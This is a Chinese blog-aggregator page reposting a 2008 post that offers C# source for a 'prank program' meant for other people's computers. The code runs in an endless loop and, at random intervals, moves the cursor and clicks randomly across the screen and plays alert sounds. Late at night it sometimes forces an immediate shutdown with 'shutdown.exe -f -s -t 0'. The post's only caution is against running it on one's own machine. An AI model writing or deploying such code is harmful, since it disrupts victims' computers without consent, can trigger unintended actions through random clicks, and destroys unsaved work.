惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V
Vulnerabilities – Threatpost
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Engineering at Meta
Engineering at Meta
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Blog — PlanetScale
Blog — PlanetScale
aimingoo的专栏
aimingoo的专栏
雷峰网
雷峰网
Microsoft Azure Blog
Microsoft Azure Blog
V
Visual Studio Blog
F
Fortinet All Blogs
C
CERT Recently Published Vulnerability Notes
Spread Privacy
Spread Privacy
月光博客
月光博客
L
LINUX DO - 热门话题
C
Cisco Blogs
P
Proofpoint News Feed
C
Cyber Attacks, Cyber Crime and Cyber Security
爱范儿
爱范儿
B
Blog
P
Privacy International News Feed
Know Your Adversary
Know Your Adversary
The Cloudflare Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Cyberwarzone
Cyberwarzone
J
Java Code Geeks
罗磊的独立博客
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Cisco Talos Blog
Cisco Talos Blog
T
Tor Project blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
博客园 - 司徒正美
酷 壳 – CoolShell
酷 壳 – CoolShell
Simon Willison's Weblog
Simon Willison's Weblog
量子位
H
Help Net Security
The Register - Security
The Register - Security
L
LangChain Blog
GbyAI
GbyAI
Vercel News
Vercel News
S
Schneier on Security
T
Threatpost
T
Threat Research - Cisco Blogs
有赞技术团队
有赞技术团队
Y
Y Combinator Blog
阮一峰的网络日志
阮一峰的网络日志
C
Check Point Blog
MongoDB | Blog
MongoDB | Blog
Recorded Future
Recorded Future
G
GRAHAM CLULEY
MyScale Blog
MyScale Blog

博客园 - Cheek G

JQuery常用方法一览 6 bytes !! IE判定 项目小记: IFRAME引起内存泄露的解决方法 - Cheek G wcf中使用Session WF学习日记(一) Asp.net MVC框架学习【收藏】 Web Services 学习【收藏】 输出CSV文件并直接打开时出现SYLK异常 JS 其他(二) - Cheek G JS 其他 - Cheek G JS验证类(一) 非常NB的sql2005分页 web页局部打印 - Cheek G - 博客园 asp.net在ie7中使用FileUpload上传前预览图片 - Cheek G - 博客园 DIV背景半透明,DIV中的字不半透明 - Cheek G - 博客园 js等比例缩放图片 - Cheek G - 博客园 IIS 7 中默认页设置的小问题 文件的ContentType类型 小全 页面加载完成前显示LOADING....
整人小程序【转自CSDN】
Cheek G · 2008-11-26 · via 博客园 - Cheek G

本机慎用......

using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;namespace wga
{
   
static class Program
    {
       
const int MOUSEEVENTF_LEFTDOWN = 0x2;
       
const int MOUSEEVENTF_LEFTUP = 0x4;
       
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
       
const int MOUSEEVENTF_MIDDLEUP = 0x40;
       
const int MOUSEEVENTF_MOVE = 0x1;
       
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
       
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
       
const int MOUSEEVENTF_RIGHTUP = 0x10;

        [DllImport(

"user32.dll")]
       
static extern int GetSystemMetrics(int nIndex);
        [DllImport(
"user32.dll")]
       
static extern int SetCursorPos(int x, int y);
        [DllImport(
"user32.dll")]
       
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);static int Sx, Sy;
       
static long tick = 1;
       
static Random rnd = new Random();
        [STAThread]
       
static void Main()
        {
           
try
            {
                Sx
= GetSystemMetrics(0);
                Sy
= GetSystemMetrics(1);
               
while(true) { if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(
1000);
                    tick
+= rnd.Next(2);
                   
if(tick < 1800)
                       
continue;
                   
if(tick % 643 == 0)
                        DoMouse();
                   
if(tick % 313 == 0)
                        DoBang();
                }
            }
           
catch { };
        }
       
static void DoMouse()
        {
           
int dx, dy;
           
int c = 4;
           
while(c-- > 0)
            {
                dx
= rnd.Next(Sx);
                dy
= rnd.Next(Sy);
               
switch(rnd.Next(3))
                {
                   
case 0:
                        SetCursorPos(dx, dy);
                       
break;
                   
case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN
| MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                       
break;
                   
case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN
| MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                       
break;
                }
                Thread.Sleep(
100);
            }
        }
       
static void DoBang()
        {
           
switch(rnd.Next(4))
            {
               
case 0:
                    SystemSounds.Asterisk.Play();
                   
break;
               
case 1:
                    SystemSounds.Beep.Play();
                   
break;
               
case 2:
                    SystemSounds.Exclamation.Play();
                   
break;
               
case 3:
                    SystemSounds.Hand.Play();
                   
break;
            }
        }
       
static void DoShutdown()
        {
            Process.Start(
"shutdown.exe", "-f -s -t 0");
        }
    }
}